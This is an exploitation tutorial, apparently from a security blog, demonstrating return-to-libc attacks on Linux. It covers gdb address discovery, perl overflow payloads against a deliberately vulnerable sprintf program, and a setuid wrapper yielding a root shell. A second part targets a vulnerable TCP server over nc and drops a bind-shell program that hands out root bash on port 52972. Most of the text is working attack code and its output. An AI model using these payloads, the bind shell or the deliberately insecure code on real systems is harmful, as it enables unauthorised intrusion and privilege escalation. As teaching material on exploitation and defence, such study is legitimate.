342 lines
12 KiB
Plaintext
342 lines
12 KiB
Plaintext
Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
|
|
|
|
Return To LIBC Exploitation Demonstration [LINUX]
|
|
|
|
*** Good technique for exploiting targets with small buffers and/or bypassing a non-executable stack. ***
|
|
|
|
[PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL]
|
|
|
|
bugs@linux:~$ cat bof.c
|
|
#include <stdio.h>
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
|
|
char buf[1024];
|
|
|
|
if(argc < 2) { printf("usage: %s data\n", argv[0]); return 0; }
|
|
|
|
sprintf(buf, "%s", argv[1]);
|
|
printf("\n%s\n\n", buf);
|
|
|
|
return 0;
|
|
}
|
|
|
|
bugs@linux:~$ gdb bof
|
|
GNU gdb 6.5
|
|
Copyright (C) 2006 Free Software Foundation, Inc.
|
|
GDB is free software, covered by the GNU General Public License, and you are
|
|
welcome to change it and/or distribute copies of it under certain conditions.
|
|
Type "show copying" to see the conditions.
|
|
There is absolutely no warranty for GDB. Type "show warranty" for details.
|
|
This GDB was configured as "i486-linux-linux"...Using host libthread_db library "/lib/libthread_db.so.1".
|
|
|
|
(gdb) `perl -e 'print "A" x 1036'`
|
|
Undefined command: "". Try "help".
|
|
(gdb) r `perl -e 'print "A" x 1036'`
|
|
Starting program: /home/bugs/bof `perl -e 'print "A" x 1036'`
|
|
|
|
AAAA.....
|
|
|
|
|
|
Program received signal SIGILL, Illegal instruction.
|
|
0x40047200 in __libc_start_main () from /lib/libc.so.6
|
|
(gdb) i r
|
|
eax 0x0 0
|
|
ecx 0x0 0
|
|
edx 0x40f 1039
|
|
ebx 0x4015bff0 1075167216
|
|
esp 0xbffff1e0 0xbffff1e0
|
|
ebp 0x41414141 0x41414141
|
|
esi 0xbffff230 -1073745360
|
|
edi 0x2 2
|
|
eip 0x40047200 0x40047200 <__libc_start_main+16>
|
|
eflags 0x10282 [ SF IF RF ]
|
|
cs 0x23 35
|
|
ss 0x2b 43
|
|
ds 0x2b 43
|
|
es 0x2b 43
|
|
fs 0x0 0
|
|
gs 0x0 0
|
|
(gdb) r `perl -e 'print "A" x 1040'`
|
|
The program being debugged has been started already.
|
|
Start it from the beginning? (y or n) y
|
|
Starting program: /home/bugs/bof `perl -e 'print "A" x 1040'`
|
|
|
|
AAAA.....
|
|
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x41414141 in ?? ()
|
|
(gdb) break main
|
|
Breakpoint 1 at 0x80483dd
|
|
(gdb) r
|
|
The program being debugged has been started already.
|
|
Start it from the beginning? (y or n) y
|
|
Starting program: /home/bugs/bof `perl -e 'print "A" x 1040'`
|
|
|
|
Breakpoint 1, 0x080483dd in main ()
|
|
(gdb) p system
|
|
$1 = {<text variable, no debug info>} 0x400684e0 <system>
|
|
(gdb) p execl
|
|
$1 = {<text variable, no debug info>} 0x400bf230 <execl>
|
|
(gdb) x/100s $esi
|
|
.....
|
|
0xbffff2f7: ""
|
|
0xbffff2f8: ""
|
|
0xbffff2f9: "\203\004\b\v"
|
|
---Type <return> to continue, or q <return> to quit---
|
|
0xbffff2fe: ""
|
|
0xbffff2ff: ""
|
|
0xbffff300: "???\003"
|
|
.....
|
|
0xbffff335: "i686"
|
|
0xbffff33a: "/home/bugs/bof"
|
|
0xbffff349: 'A' <repeats 200 times>...
|
|
0xbffff411: 'A' <repeats 200 times>...
|
|
0xbffff4d9: 'A' <repeats 200 times>...
|
|
0xbffff5a1: 'A' <repeats 200 times>...
|
|
0xbffff669: 'A' <repeats 200 times>...
|
|
(gdb) p exit
|
|
$2 = {<text variable, no debug info>} 0x4005e110 <exit>
|
|
(gdb) q
|
|
The program is running. Exit anyway? (y or n) y
|
|
bugs@linux:~$
|
|
|
|
We have our information, now we need to put it together.
|
|
|
|
system() @ 0x400684e0 [\xe0\x84\x06\x40]
|
|
execl() @ 0x400bf230 [\x30\xf2\x0b\x40]
|
|
exit() @ 0x4005e110 [\x10\xe1\x05\x40]
|
|
EIP overwrite-4 = 1036
|
|
|
|
Remember, system() takes one argument and execl() takes three.
|
|
|
|
Now we are going to debug a little around system() and find our groove. We can search
|
|
around 0xbffffxxxx for easy ones.
|
|
|
|
`perl -e 'print "A" x 1036 . "\xe0\x84\x06\x40" . "DCBA" . "\xd0\xfe\xff\xbf";'`
|
|
junk data system() retaddr system() arg
|
|
|
|
bugs@linux:~$ ./bof `perl -e 'print "A" x 1036 . "\xe0\x84\x06\x40" . "DCBA" . "\xd0\xfe\xff\xbf";'`
|
|
|
|
AAAA.....AAAA??????@DCBA????????????
|
|
|
|
sh: /lib/java: No such file or directory
|
|
Segmentation fault
|
|
bugs@linux:~$
|
|
|
|
Go up 5 bytes (/lib/java -> java)
|
|
|
|
bugs@linux:~$ ./bof `perl -e 'print "A" x 1036 . "\xe0\x84\x06\x40" . "DCBA" . "\xd5\xfe\xff\xbf";'`
|
|
|
|
AAAA.....AAAA??????@DCBA????????????
|
|
|
|
Usage: java [-options] class [args...]
|
|
(to execute a class)
|
|
or java [-options] -jar jarfile [args...]
|
|
(to execute a jar file)
|
|
|
|
where options include:
|
|
-d32 use a 32-bit data model if available
|
|
|
|
-d64 use a 64-bit data model if available
|
|
-client to select the "client" VM
|
|
-server to select the "server" VM
|
|
-hotspot is a synonym for the "client" VM [deprecated]
|
|
The default VM is client.
|
|
|
|
-cp <class search path of directories and zip/jar files>
|
|
-classpath <class search path of directories and zip/jar files>
|
|
A : separated list of directories, JAR archives,
|
|
and ZIP archives to search for class files.
|
|
-D<name>=<value>
|
|
set a system property
|
|
-verbose[:class|gc|jni]
|
|
enable verbose output
|
|
-version print product version and exit
|
|
-version:<value>
|
|
require the specified version to run
|
|
-showversion print product version and continue
|
|
-jre-restrict-search | -jre-no-restrict-search
|
|
include/exclude user private JREs in the version search
|
|
-? -help print this help message
|
|
-X print help on non-standard options
|
|
-ea[:<packagename>...|:<classname>]
|
|
-enableassertions[:<packagename>...|:<classname>]
|
|
enable assertions
|
|
-da[:<packagename>...|:<classname>]
|
|
-disableassertions[:<packagename>...|:<classname>]
|
|
disable assertions
|
|
-esa | -enablesystemassertions
|
|
enable system assertions
|
|
-dsa | -disablesystemassertions
|
|
disable system assertions
|
|
-agentlib:<libname>[=<options>]
|
|
load native agent library <libname>, e.g. -agentlib:hprof
|
|
see also, -agentlib:jdwp=help and -agentlib:hprof=help
|
|
-agentpath:<pathname>[=<options>]
|
|
load native agent library by full pathname
|
|
-javaagent:<jarpath>[=<options>]
|
|
load Java programming language agent, see java.lang.instrument
|
|
Segmentation fault
|
|
bugs@linux:~$
|
|
|
|
Great, now lets go one more byte (make it ava) and go on with this process.
|
|
|
|
bugs@linux:~$ ./bof `perl -e 'print "A" x 1036 . "\xe0\x84\x06\x40" . "DCBA" . "\xd6\xfe\xff\xbf";'`
|
|
|
|
AAAA.....AAAA??????@DCBA????????????
|
|
|
|
sh: ava: command not found
|
|
Segmentation fault
|
|
bugs@linux:~$ cat sh.c
|
|
int main() { setuid(0); setgid(0); system("/bin/bash"); }
|
|
bugs@linux:~$ gcc -o ava sh.c
|
|
bugs@linux:~$ ./bof `perl -e 'print "A" x 1036 . "\xe0\x84\x06\x40" . "DCBA" . "\xd6\xfe\xff\xbf";'`
|
|
|
|
AAAA.....AAAA??????@DCBA????????????
|
|
|
|
bash-3.1$ exit
|
|
exit
|
|
Segmentation fault
|
|
bugs@linux:~$
|
|
|
|
Nice work. But we want root shell, so lets use execl().
|
|
|
|
`perl -e 'print "A" x 1036 . "\x30\xf2\x0b\x40" . "DCBA" . "\xd6\xfe\xff\xbf" x 3;'`
|
|
junk data execl() retaddr "ava" (execl() args)
|
|
|
|
bugs@linux:~$ ./bof `perl -e 'print "A" x 1036 . "\x30\xf2\x0b\x40" . "DCBA" . "\xd6\xfe\xff\xbf" x 3;'`
|
|
|
|
AAAA.....AAAA0???
|
|
@DCBA????????????????????????????????????
|
|
|
|
bash-3.1# exit
|
|
exit
|
|
bugs@linux:~$
|
|
|
|
We can also use exit() as our return address to make things a little cleaner as well.
|
|
|
|
`perl -e 'print "A" x 1036 . "\x30\xf2\x0b\x40" . "\x10\xe1\x05\x40" . "\xd6\xfe\xff\xbf" x 3;'`
|
|
junk data execl() retaddr (exit()) "ava" (execl() args)
|
|
|
|
[PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE]
|
|
|
|
[Terminal #1]
|
|
|
|
bugs@linux:~$ cat serv.c
|
|
#include <stdio.h>
|
|
#include <netdb.h>
|
|
#include <netinet/in.h>
|
|
#include <sys/socket.h>
|
|
|
|
#define BUFFSZ 1024
|
|
#define READSZ 2048
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
|
|
if(argc < 2) { printf("Usage: %s port\n", argv[0]); return 0; }
|
|
|
|
int z, cli, serv, port = atoi(argv[1]);
|
|
|
|
struct sockaddr_in client, server;
|
|
|
|
server.sin_family = AF_INET;
|
|
server.sin_port = htons(port);
|
|
server.sin_addr.s_addr = INADDR_ANY;
|
|
|
|
if((serv = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error: socket()\n"); return -1; }
|
|
|
|
if(bind(serv, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { printf("Error: bind()\n"); return -1; }
|
|
|
|
if(listen(serv, 10) == -1) { printf("Error: listen()\n"); return -1; }
|
|
|
|
for(;;)
|
|
{
|
|
|
|
cli = accept(serv, (struct sockaddr *)&client, &z);
|
|
|
|
if(vulnerable(cli) == -1) { printf("Error: vulnerable()\n"); close(cli); }
|
|
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
int vulnerable(int sock)
|
|
{
|
|
|
|
char buffer[BUFFSZ], readbuf[READSZ];
|
|
|
|
memset(buffer, 0, BUFFSZ);
|
|
memset(readbuf, 0, READSZ);
|
|
|
|
read(sock, readbuf, READSZ, 0);
|
|
|
|
sprintf(buffer, "%s", readbuf);
|
|
|
|
send(sock, buffer, BUFFSZ, 0);
|
|
|
|
close(sock);
|
|
|
|
}
|
|
|
|
bugs@linux:~$ cat bs.c
|
|
#include <stdio.h>
|
|
#include <netdb.h>
|
|
#include <netinet/in.h>
|
|
#include <sys/socket.h>
|
|
|
|
int main() { int z, cli, serv; struct sockaddr_in client, server; server.sin_family = AF_INET; server.sin_port = htons(52972); server.sin_addr.s_addr = INADDR_ANY;
|
|
if((serv = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error: socket()\n"); return -1; }
|
|
if(bind(serv, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { printf("Error: bind()\n"); return -1; }
|
|
if(listen(serv, 10) == -1) { printf("Error: listen()\n"); return -1; }
|
|
for(;;) { cli = accept(serv, (struct sockaddr *)&client, &z); dup2(cli, 0); dup2(cli, 1); dup2(cli, 2); execl("/bin/bash", "bash", 0); }
|
|
return 0; }
|
|
bugs@linux:~$ gcc -o serv serv.c
|
|
bugs@linux:~$ gcc -o bs bs.c
|
|
bugs@linux:~$ ./serv
|
|
Usage: ./serv port
|
|
bugs@linux:~$ ./serv 5555
|
|
|
|
[Terminal #2]
|
|
|
|
bugs@linux:~$ netstat -antp | grep LISTEN
|
|
(Not all processes could be identified, non-owned process info
|
|
will not be shown, you would have to be root to see it all.)
|
|
tcp 0 0 0.0.0.0:37 0.0.0.0:* LISTEN -
|
|
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
|
|
tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN -
|
|
tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN 6110/serv
|
|
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
|
|
tcp 0 0 0.0.0.0:890 0.0.0.0:* LISTEN -
|
|
bugs@linux:~$ echo `perl -e 'print "A" x 1036 . "\xe0\x84\x06\x40" . "\x10\xe1\x05\x40" . "\xd0\xfe\xff\xbf";'` | nc localhost 5555
|
|
|
|
[Terminal #1]
|
|
|
|
sh: ib/java: No such file or directory
|
|
bugs@linux:~$ cp bs ava
|
|
root@linux:~# ./serv 5555
|
|
|
|
[Terminal #2]
|
|
|
|
bugs@linux:~$ echo `perl -e 'print "A" x 1036 . "\xe0\x84\x06\x40" . "\x10\xe1\x05\x40" . "\xd4\xfe\xff\xbf";'` | nc localhost 5555
|
|
|
|
bugs@linux:~$ netstat -antp | grep LISTEN
|
|
(No info could be read for "-p": geteuid()=1000 but you should be root.)
|
|
tcp 0 0 0.0.0.0:37 0.0.0.0:* LISTEN -
|
|
tcp 0 0 0.0.0.0:52972 0.0.0.0:* LISTEN -
|
|
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
|
|
tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN -
|
|
tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN -
|
|
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
|
|
tcp 0 0 0.0.0.0:890 0.0.0.0:* LISTEN -
|
|
bugs@linux:~$ nc localhost 52972
|
|
id
|
|
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
|
|
exit
|
|
bugs@linux:~$
|
|
|
|
Questions. Comments. Concerns. --> 0xjbrown41@gmail.com |